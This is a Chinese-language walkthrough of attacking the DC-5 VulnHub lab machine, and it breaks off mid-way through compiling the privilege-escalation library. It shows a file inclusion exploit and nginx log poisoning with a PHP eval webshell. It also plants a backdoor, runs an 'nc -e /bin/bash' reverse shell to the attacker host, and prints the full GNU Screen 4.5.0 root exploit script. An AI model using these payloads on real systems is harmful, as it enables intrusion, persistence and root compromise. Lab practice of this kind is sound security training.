37_DC-5靶机渗透测试、nmap使用、kail漏洞库使用、系统提权、反弹shell到kali、留后门、蚁剑连接webshell、文件包含漏洞利用、NC用法

环境准备

靶机下载地址：https://www.vulnhub.com/entry/dc-5,314/

百度网盘：https://pan.baidu.com/s/1lqFMjoqQpIl4DA-Amb00pA?pwd=9LJY

攻击机：kali（192.168.58.130，IP是各自不同的）

靶机：DC-5（192.168.58.148，IP是各自不同的）

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境，启动即可，将网段设置为NAT模式，

打开虚拟机那里

打开后就行，不需要知道密码

信息收集

扫描靶机的IP地址

查看本机地址确定靶机网段

┌──(root💀kali)-[~] └─# ifconfig eth0

我这儿设置的虚拟机都在10网段，所以用nmap -sP先扫描网段里的主机

┌──(root㉿kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

扫描开放的端口

那么136就是靶机地址，nmap -sV 192.168.10.136 既扫端口也扫版本

┌──(root㉿kali)-[~/桌面]
└─# nmap -sV 192.168.10.136

开放端口：80、111

web容器：nginx 1.6.2

浏览器访问目标靶机80端口

访问80端口

就只是一些文字，没有啥可利用的位置，只用contact页面能填写东西，随便写点啥提交上去看看

发现也没啥可利用的，但是发现有一个细节，这个页面只要刷新下面的年份也会跟着变

http://192.168.67.31/thankyou.php?firstname=&lastname=&country=australia&subject=

猜测这里可能含有一个文件包含漏洞，发现了这个文件，但是还不知道它是怎么包含的，只能靠去猜，使用御剑扫描查看网站结构目录

发现有一个url为http://192.168.67.31/footer.php，查看发现就是这个页面控制着年份改变

所以肯定是包含了这个页面，输入urlhttp://192.168.67.31/thankyou.php?file=

发现底部缺少了年份

验证了我们的猜想，但是这里不确定是否过滤了其他文件

文件包含漏洞

渗透过程

在物理机上开代理访问一下，burp抓包

前面通过信息收集怀疑存在包含漏洞，使用burpsuite抓包

将footer.php改为密码文件/etc/passwd试试，试了shadow文件提示权限就不够了

成功执行，说明确实存在文件包含漏洞，所以现在需要想办法将一句话木马写进去

向日志中写入一句话木马

如果对Nginx比较熟悉

前面信息收集发现网站web容器为nginx，nginx的错误日志文件路径一般为/var/log/nginx/error.log

写入一句话GET /thankyou.php?file=<?php eval($_REQUEST["tedu"]);?>

发现错误日志可以被读取

我们得想办法让Nginx报错，而不是php代码报错，这样的话他才会写到Nginx的错误日志中，

报错了，那就有戏，再去看一下报错的信息

利用文件包含漏洞查看是否写入成功

http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log

发现一句话木马已写入错误日志中

使用蚁剑连接webshell

http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log

把自己的那个包含错误信息的地址复制下来，如果没成功，多试几次

经测试这种包含的方式写进去后面的蚁剑能连上，错了就改改，多GO试试几次

发现一句话木马已写入错误日志中

成功连上靶机系统

打开虚拟终端，发现权限较低，开始提权，因为是个$符号，权限比较低

在 /tmp下新建文件一句话木马（提权之前先留个后门）

在服务器/tmp目录下新建一个shell.php文件，写入一句话木马（下次链接时好链接，万一人家把漏洞补上了，下次就进不去了，自己再留一个后门，也是为了防止Nginx错误日志被清空）

<?php
@eval($_REQUEST[666]);
?>

新建时，权限不足怎么办，能下载不能上传，所以就得换个位置， /tmp下，一般我们放木马都放在这里边

使用蚁剑虚拟终端反弹shell到kali

哪种连接比较好，假设内网有防火墙，反向连接会更好因为waf会阻挡正向的流量，但是内部主动去连接防火墙它不会管。如果没有边界的约束，那么正反都无所谓

首先在kali开启监听

NC用法

┌──(root💀kali)-[~]
└─# nc -lvvp 1234
listening on [any] 1234 ...

之前学过nc，kail是自带有就不用安装，用过Windows渗透测试的时候，咱上传了nc的木马，通过kail进行连接，nc在很多服务器里面都在，这次通过nv反弹一个shell到kail

使用蚁剑虚拟终端反弹shell到kali

/bin/bash 这个就是shell 命令行

(www-data:/var/www/html) $ nc -e /bin/bash 192.168.67.5 1234 {"code":"ECONNABORTED","timeout":5000}

kali处显示有连接过来，为啥要来连上去，因为这边不好用，字又小，好像还不能复制

提权

切换到交互式状态

python -c 'import pty;pty.spawn("/bin/bash")'

因为没有回显看着很难受，而且用kail我们也比较熟，你不做这一步也是可以的，它的作用是通过python的小工具pty这个包调用 pty.spawn方法执行("/bin/bash")，其实就是命令行。

查找设置了SUID的文件

find / -perm -u=s -type f 2>/dev/null 的作用是查找带有SUID权限的命令

www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null

发现这个screen-4.5.0有点特殊，可以搜搜它有没有常见漏洞，到网上搜是一种方式，kail里也可以搜

查看screen-4.5.0存在的漏洞

kail里面集成了漏洞库，来搜索相关软件的一个漏洞，漏洞利用的脚本

┌──(root💀kali)-[~]
└─# searchsploit screen 4.5.0
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results

/usr/share/exploitdb/exploits/linux/local/41152.txt

/usr/share/exploitdb/exploits/linux/local/41154.sh

将攻击脚本文件复制到当前目录，我这儿就是保存到了本地桌面

searchsploit -m 41154

按理来说可以直接将这个,sh文件上传到目标主机中去执行然后提权，但是我试了一下，kail拉文件出来到桌面在从蚂蚁剑文件管理到tmp里加上执行权限，最后不行，因为这个脚本写得有点小问题所以得要单独编译才行，就麻烦些

查看文件内容

┌──(root💀kali)-[~]
└─# cat  /root/41154.sh                                     
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

将41154.sh中上面一部分c语言代码另存为libhax.c，如图-50所示，并编译，编译命令gcc -fPIC -shared -ldl -o libhax.so libhax.c